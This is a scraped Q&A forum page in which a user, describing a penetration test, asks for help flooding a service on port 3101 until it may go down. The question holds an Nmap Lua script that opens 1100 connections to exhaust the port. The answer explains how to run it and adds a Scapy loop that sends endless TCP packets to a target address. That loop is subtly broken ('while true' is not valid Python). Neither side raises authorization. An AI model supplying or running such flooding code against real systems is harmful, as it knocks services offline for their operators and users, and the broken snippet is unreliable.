Sign Up

Sign Up to our social questions and Answers Engine to ask questions, answer people’s questions, and connect with other people.

Have an account? Sign In

Have an account? Sign In Now

Sign In

Login to our social questions & Answers Engine to ask questions answer people’s questions & connect with other people.

Sign Up Here

Forgot Password?

Don't have account, Sign Up Here

Forgot Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Have an account? Sign In Now

You must login to ask a question.

Forgot Password?

Need An Account, Sign Up Here

Please briefly explain why you feel this question should be reported.

Please briefly explain why you feel this answer should be reported.

Please briefly explain why you feel this user should be reported.

Sign InSign Up

The Archive Base

The Archive Base Logo The Archive Base Logo

The Archive Base Navigation

  • SEARCH
  • Home
  • About Us
  • Blog
  • Contact Us
Search
Ask A Question

Mobile menu

Close
Ask a Question
  • Home
  • Add group
  • Groups page
  • Feed
  • User Profile
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Buy Points
  • Users
  • Help
  • Buy Theme
  • SEARCH
Home/ Questions/Q 8350197
In Process

The Archive Base Latest Questions

Editorial Team
  • 0
Editorial Team
Asked: June 9, 20262026-06-09T08:14:30+00:00 2026-06-09T08:14:30+00:00

I need to preform a penetration test. I would like to get a script

  • 0

I need to preform a penetration test. I would like to get a script or some scripts together to attack and (hopefully not) bring down a certain port/software by flooding it. I have NMAP installed and an example script from colleague, couldnt anybody explain the script to me and shine any light on how to adjust it to fit my needs?

description = [[
Connects to ports without disconnecting
]]
author =""
license = 'Same as Nmap--See http://nmap.org/book/man-legal.html'
categories = {'auth', 'intrusive'}

require('shortport')
require('stdnse')
require('strbuf')
require('math')

local soc
local catch = function() soc:close() end
local try = nmap.new_try(catch)

--portrule = shortport.port_or_service({3000, 3001, 3002, 3003, 3004, 3005,3006,3007,3008,3009, 3010, 3011, 4008, 3110}, 'client server')
--portrule = shortport.port_or_service({3000-4008}, 'client server')
portrule = shortport.port_or_service({3101}, 'client server')

action = function(host, port)
    math.randomseed( os.time() )
    local buff = ""
    soc = nmap.new_socket()
        soc:set_timeout(400000000)
    for j = 1,1100 do
                print(j)
        try(soc:connect(host.ip, port.number, port.protocol))
        --soc:close()
    end
    --print(math.random(255))
    return ""
end
  • 1 1 Answer
  • 0 Views
  • 0 Followers
  • 0
Share
  • Facebook
  • Report

Leave an answer
Cancel reply

You must login to add an answer.

Forgot Password?

Need An Account, Sign Up Here

1 Answer

  • Voted
  • Oldest
  • Recent
  • Random
  1. Editorial Team
    Editorial Team
    2026-06-09T08:14:32+00:00Added an answer on June 9, 2026 at 8:14 am

    I’m not sure that this script is the best way to do things, but in order to run it, you should use this command:

    nmap -p 3101 --script your-script-name target
    

    You’ll probably have better luck using a different tool than Nmap. For instance you could use Scapy:

    $ sudo scapy
    >>> p = IP(dst="192.168.1.X") / TCP(dport=3101)
    >>> while true:
    ...   p.sport = random.randint(1024,65535)
    ...   send(p)
    
    • 0
    • Reply
    • Share
      Share
      • Share on Facebook
      • Share on Twitter
      • Share on LinkedIn
      • Share on WhatsApp
      • Report

Sidebar

Related Questions

I need perform some action on press of home key like starting activity when
I need to perform Diffs between Java strings. I would like to be able
I need to perform some operations on all folders within a file share which
In some code I have converted to SSE I preform some ray tracing, tracing
I need to perform some calculations a large list of numbers. Do array.array or
I am having problem with changing SQL query to preform faster. I need to
How would I preform two inner joins in one query? Ie: three tables Invoice
I am trying to preform some basic operations with jQuery and JSON. Presently having
I need perform some extra logic on an object before it is saved to
Now with IList<string> listOfStrings = (new string[] { bob,mary}); We can not preform listOfStrings.ToList().ForEach(i

Explore

  • Home
  • Add group
  • Groups page
  • Communities
  • Questions
    • New Questions
    • Trending Questions
    • Must read Questions
    • Hot Questions
  • Polls
  • Tags
  • Badges
  • Users
  • Help
  • SEARCH

Footer

© 2021 The Archive Base. All Rights Reserved
With Love by The Archive Base

Insert/edit link

Enter the destination URL

Or link to existing content

    No search term specified. Showing recent items. Search or use up and down arrow keys to select an item.